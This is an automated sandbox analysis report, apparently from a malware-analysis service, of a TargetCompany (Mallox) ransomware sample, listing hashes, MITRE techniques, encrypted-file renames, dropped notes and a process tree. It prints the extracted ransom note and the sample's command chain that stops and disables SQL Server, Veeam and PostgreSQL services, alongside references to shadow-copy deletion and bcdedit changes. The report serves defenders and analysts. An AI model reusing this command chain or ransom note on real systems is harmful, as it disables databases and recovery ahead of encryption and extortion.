targetcompany | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb

Analysis

max time kernel
152s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
14-01-2022 06:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

InternalCrossContextDelega.exe
Size

429KB
MD5

22367699e131a9d98f842a1003fd193a
SHA1

c275084d65f845b4d957c05b874fade071193468
SHA256

a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb
SHA512

26aedfe2eede18f72425f37d57fde838466345187f1df365528b0798a2f323badfbbb4f3b5571c4ea554cdb757dc0b7b2f7c87f5ae88c6e2cee41eaa92b6e828

Score

10^/10

targetcompany evasion ransomware

Malware Config

Extracted

Path

C:\$Recycle.Bin\RECOVERY INFORMATION.txt

Ransom Note

YOUR FILES ARE ENCRYPTED !!! TO DECRYPT, FOLLOW THE INSTRUCTIONS: To recover data you need decrypt tool. To get the decrypt tool you should: 1.In the letter include your personal ID! Send me this ID in your first email to me! 2.We can give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files! 3.After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tool! 4.We can decrypt few files in quality the evidence that we have the decoder. CONTACT US: [email protected] [email protected] YOUR PERSONAL ID: 8CC5CEF4A363 �

Emails

[email protected]

Signatures

TargetCompany
Ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany

TargetCompany Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/740-128-0x000000000040AF56-mapping.dmp	family_targetcompany
behavioral2/memory/740-127-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany
behavioral2/memory/740-129-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

Processes:

bcdedit.exebcdedit.exe

pid	Process
1812	bcdedit.exe
2232	bcdedit.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

InternalCrossContextDelega.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\AssertStop.tiff => C:\Users\Admin\Pictures\AssertStop.tiff.mallox	InternalCrossContextDelega.exe
File opened for modification	C:\Users\Admin\Pictures\CompareAdd.tiff	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\CompareAdd.tiff => C:\Users\Admin\Pictures\CompareAdd.tiff.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\HideTrace.tif => C:\Users\Admin\Pictures\HideTrace.tif.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\AddResolve.crw => C:\Users\Admin\Pictures\AddResolve.crw.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\CompleteConvertFrom.raw => C:\Users\Admin\Pictures\CompleteConvertFrom.raw.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\RequestEnable.tif => C:\Users\Admin\Pictures\RequestEnable.tif.mallox	InternalCrossContextDelega.exe
File opened for modification	C:\Users\Admin\Pictures\AssertStop.tiff	InternalCrossContextDelega.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

InternalCrossContextDelega.exe

description	ioc	Process
File opened (read-only)	\??\Q:	InternalCrossContextDelega.exe
File opened (read-only)	\??\R:	InternalCrossContextDelega.exe
File opened (read-only)	\??\Z:	InternalCrossContextDelega.exe
File opened (read-only)	\??\K:	InternalCrossContextDelega.exe
File opened (read-only)	\??\J:	InternalCrossContextDelega.exe
File opened (read-only)	\??\L:	InternalCrossContextDelega.exe
File opened (read-only)	\??\N:	InternalCrossContextDelega.exe
File opened (read-only)	\??\S:	InternalCrossContextDelega.exe
File opened (read-only)	\??\T:	InternalCrossContextDelega.exe
File opened (read-only)	\??\W:	InternalCrossContextDelega.exe
File opened (read-only)	\??\E:	InternalCrossContextDelega.exe
File opened (read-only)	\??\F:	InternalCrossContextDelega.exe
File opened (read-only)	\??\H:	InternalCrossContextDelega.exe
File opened (read-only)	\??\Y:	InternalCrossContextDelega.exe
File opened (read-only)	\??\A:	InternalCrossContextDelega.exe
File opened (read-only)	\??\G:	InternalCrossContextDelega.exe
File opened (read-only)	\??\I:	InternalCrossContextDelega.exe
File opened (read-only)	\??\M:	InternalCrossContextDelega.exe
File opened (read-only)	\??\O:	InternalCrossContextDelega.exe
File opened (read-only)	\??\P:	InternalCrossContextDelega.exe
File opened (read-only)	\??\U:	InternalCrossContextDelega.exe
File opened (read-only)	\??\V:	InternalCrossContextDelega.exe
File opened (read-only)	\??\B:	InternalCrossContextDelega.exe
File opened (read-only)	\??\X:	InternalCrossContextDelega.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

InternalCrossContextDelega.exe

description	pid	Process	procid_target
PID 3800 set thread context of 740	3800	InternalCrossContextDelega.exe	75

Drops file in Program Files directory 64 IoCs

Processes:

InternalCrossContextDelega.exe

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProXC2RVL_MAKC2R-pl.xrm-ms	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Trial-pl.xrm-ms	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-pl.xrm-ms	InternalCrossContextDelega.exe
File created	C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\OpenSSL64.DllA\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png	InternalCrossContextDelega.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ro-ro\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\[email protected]	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-core-kit.xml_hidden	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxn	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_COL.HXC	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL093.XML	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Grace-ppd.xrm-ms	InternalCrossContextDelega.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\he\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-pl.xrm-ms	InternalCrossContextDelega.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf_3.4.0.v20140827-1444.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Compare_R_RHP.aapp	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\en-gb\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\WPGIMP32.FLT	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.png	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProO365R_Subscription-ppd.xrm-ms	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover.png	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\he-il\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_OEM_Perp-ul-oob.xrm-ms	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\ui-strings.js	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-sl\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\Cultures\OFFICE.ODF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\ui-strings.js	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\flat_officeFontsPreview.ttf	InternalCrossContextDelega.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 2 IoCs

discovery

Remote System Discovery

T1018

Processes:

net.exenet.exe

pid	Process
4548	net.exe
2156	net.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exe

pid	Process
3764	vssadmin.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
4664	taskkill.exe
4736
1820
5028
60	taskkill.exe
5044	taskkill.exe
980
288
1672
4928
4144	taskkill.exe
3996
5108
520
4916
2840
4668
5076
4828	taskkill.exe
2832	taskkill.exe
4068	taskkill.exe
4596	taskkill.exe
968
4876
4648
3052
4812	taskkill.exe
4776
1712
1076
4992
4772	taskkill.exe
4976	taskkill.exe
3864
1328
896
4492
2752	taskkill.exe
3060
64
1880
1020
1052
4860
1476
2204	taskkill.exe
3208
1944
304
1308
4100
4852	taskkill.exe
4768
4864
4140	taskkill.exe
1108	taskkill.exe
2368	taskkill.exe
4624	taskkill.exe
4100	taskkill.exe
4936	taskkill.exe
4392	taskkill.exe
4948
4852	taskkill.exe
4216	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

InternalCrossContextDelega.exeInternalCrossContextDelega.exe

pid	Process
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
3800	InternalCrossContextDelega.exe
740	InternalCrossContextDelega.exe
740	InternalCrossContextDelega.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

InternalCrossContextDelega.exeInternalCrossContextDelega.exenet.exenet1.exesc.exetaskkill.exenet.exetaskkill.exenet1.exenet1.exenet.exesc.exesc.exetaskkill.exetaskkill.exenet.exenet1.exenet.exenet1.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exenet.exetaskkill.exenet1.exetaskkill.exetaskkill.exetaskkill.exenet.exetaskkill.exesc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exenet.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	Process
Token: SeDebugPrivilege	3800	InternalCrossContextDelega.exe
Token: SeTakeOwnershipPrivilege	740	InternalCrossContextDelega.exe
Token: SeDebugPrivilege	740	InternalCrossContextDelega.exe
Token: SeBackupPrivilege	1772	net.exe
Token: SeRestorePrivilege	1772	net.exe
Token: SeAuditPrivilege	1772	net.exe
Token: SeDebugPrivilege	4012	net1.exe
Token: SeDebugPrivilege	2828	sc.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	308	net.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	2844	net1.exe
Token: SeDebugPrivilege	2704	net1.exe
Token: SeDebugPrivilege	1620	net.exe
Token: SeDebugPrivilege	3532	sc.exe
Token: SeDebugPrivilege	60	sc.exe
Token: SeDebugPrivilege	4384	taskkill.exe
Token: SeDebugPrivilege	4488	taskkill.exe
Token: SeDebugPrivilege	4568	net.exe
Token: SeDebugPrivilege	4712	net1.exe
Token: SeDebugPrivilege	4696	net.exe
Token: SeDebugPrivilege	4828	net1.exe
Token: SeDebugPrivilege	4812	taskkill.exe
Token: SeDebugPrivilege	4904	taskkill.exe
Token: SeDebugPrivilege	3512	taskkill.exe
Token: SeDebugPrivilege	4564	taskkill.exe
Token: SeDebugPrivilege	4620	net.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	4112	net1.exe
Token: SeDebugPrivilege	372	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	4944	taskkill.exe
Token: SeDebugPrivilege	312	net.exe
Token: SeDebugPrivilege	4960	taskkill.exe
Token: SeDebugPrivilege	4972
Token: SeDebugPrivilege	4460	sc.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	4980
Token: SeDebugPrivilege	4752	taskkill.exe
Token: SeDebugPrivilege	2832	taskkill.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	4512
Token: SeDebugPrivilege	4908
Token: SeDebugPrivilege	4792	taskkill.exe
Token: SeDebugPrivilege	4992	taskkill.exe
Token: SeDebugPrivilege	2464	taskkill.exe
Token: SeDebugPrivilege	4952	taskkill.exe
Token: SeDebugPrivilege	4724	taskkill.exe
Token: SeDebugPrivilege	4720	net.exe
Token: SeDebugPrivilege	5112	taskkill.exe
Token: SeDebugPrivilege	2232
Token: SeDebugPrivilege	5108
Token: SeDebugPrivilege	1476
Token: SeDebugPrivilege	372	taskkill.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	4296
Token: SeDebugPrivilege	4484	taskkill.exe
Token: SeDebugPrivilege	4536	taskkill.exe
Token: SeDebugPrivilege	4972
Token: SeDebugPrivilege	4800
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	4904
Token: SeDebugPrivilege	2816
Token: SeDebugPrivilege	3644

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

InternalCrossContextDelega.execmd.exeInternalCrossContextDelega.execmd.execmd.execmd.execmd.exesc.execmd.exetaskkill.exe

description	pid	Process	procid_target
PID 3800 wrote to memory of 2648	3800	InternalCrossContextDelega.exe	69
PID 3800 wrote to memory of 2648	3800	InternalCrossContextDelega.exe	69
PID 3800 wrote to memory of 2648	3800	InternalCrossContextDelega.exe	69
PID 3800 wrote to memory of 1604	3800	InternalCrossContextDelega.exe	71
PID 3800 wrote to memory of 1604	3800	InternalCrossContextDelega.exe	71
PID 3800 wrote to memory of 1604	3800	InternalCrossContextDelega.exe	71
PID 3800 wrote to memory of 1936	3800	InternalCrossContextDelega.exe	72
PID 3800 wrote to memory of 1936	3800	InternalCrossContextDelega.exe	72
PID 3800 wrote to memory of 1936	3800	InternalCrossContextDelega.exe	72
PID 3800 wrote to memory of 1052	3800	InternalCrossContextDelega.exe	73
PID 3800 wrote to memory of 1052	3800	InternalCrossContextDelega.exe	73
PID 3800 wrote to memory of 1052	3800	InternalCrossContextDelega.exe	73
PID 3800 wrote to memory of 716	3800	InternalCrossContextDelega.exe	74
PID 3800 wrote to memory of 716	3800	InternalCrossContextDelega.exe	74
PID 3800 wrote to memory of 716	3800	InternalCrossContextDelega.exe	74
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 3800 wrote to memory of 740	3800	InternalCrossContextDelega.exe	75
PID 2648 wrote to memory of 3736	2648	cmd.exe	76
PID 2648 wrote to memory of 3736	2648	cmd.exe	76
PID 2648 wrote to memory of 3736	2648	cmd.exe	76
PID 740 wrote to memory of 3764	740	InternalCrossContextDelega.exe	78
PID 740 wrote to memory of 3764	740	InternalCrossContextDelega.exe	78
PID 740 wrote to memory of 3268	740	InternalCrossContextDelega.exe	80
PID 740 wrote to memory of 3268	740	InternalCrossContextDelega.exe	80
PID 740 wrote to memory of 3032	740	InternalCrossContextDelega.exe	81
PID 740 wrote to memory of 3032	740	InternalCrossContextDelega.exe	81
PID 2648 wrote to memory of 2352	2648	cmd.exe	84
PID 2648 wrote to memory of 2352	2648	cmd.exe	84
PID 2648 wrote to memory of 2352	2648	cmd.exe	84
PID 2648 wrote to memory of 2060	2648	cmd.exe	86
PID 2648 wrote to memory of 2060	2648	cmd.exe	86
PID 2648 wrote to memory of 2060	2648	cmd.exe	86
PID 3032 wrote to memory of 1812	3032	cmd.exe	303
PID 3032 wrote to memory of 1812	3032	cmd.exe	303
PID 3268 wrote to memory of 2232	3268	cmd.exe	673
PID 3268 wrote to memory of 2232	3268	cmd.exe	673
PID 3736 wrote to memory of 3260	3736	cmd.exe	166
PID 3736 wrote to memory of 3260	3736	cmd.exe	166
PID 3736 wrote to memory of 3260	3736	cmd.exe	166
PID 2060 wrote to memory of 4012	2060	cmd.exe	656
PID 2060 wrote to memory of 4012	2060	cmd.exe	656
PID 2060 wrote to memory of 4012	2060	cmd.exe	656
PID 2648 wrote to memory of 2948	2648	sc.exe	95
PID 2648 wrote to memory of 2948	2648	sc.exe	95
PID 2648 wrote to memory of 2948	2648	sc.exe	95
PID 2352 wrote to memory of 2968	2352	cmd.exe	121
PID 2352 wrote to memory of 2968	2352	cmd.exe	121
PID 2352 wrote to memory of 2968	2352	cmd.exe	121
PID 3260 wrote to memory of 1088	3260	taskkill.exe	97
PID 3260 wrote to memory of 1088	3260	taskkill.exe	97
PID 3260 wrote to memory of 1088	3260	taskkill.exe	97
PID 2352 wrote to memory of 1496	2352	cmd.exe	743
PID 2352 wrote to memory of 1496	2352	cmd.exe	743
PID 2352 wrote to memory of 1496	2352	cmd.exe	743
PID 2648 wrote to memory of 1836	2648	sc.exe	99
PID 2648 wrote to memory of 1836	2648	sc.exe	99

C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe
"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\F.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled & sc config "SQLTELEMETRY" start= disabled & sc config "MsDtsServer130" start= disabled & sc config "SSISTELEMETRY130" start= disabled & sc config "MSSQL$WOLTERSKLUWER" start= disabled & sc config "SQLAgent$PROGID" start= disabled "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLSERVERAGENT"
      4⤵
      PID:3260
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLSERVERAGENT"
        5⤵
        
        PID:1088
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLBrowser"
      4⤵
      PID:372
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBrowser"
        5⤵
        
        PID:2832
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLTELEMETRY"
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\net.exe
      net stop "MsDtsServer130"
      4⤵
      PID:3500
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer130"
        5⤵
        
        PID:716
  - - C:\Windows\SysWOW64\net.exe
      net stop "SSISTELEMETRY130"
      4⤵
      PID:3860
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLWrite"
      4⤵
      PID:968
    - - C:\Windows\SysWOW64\net1.exe
        
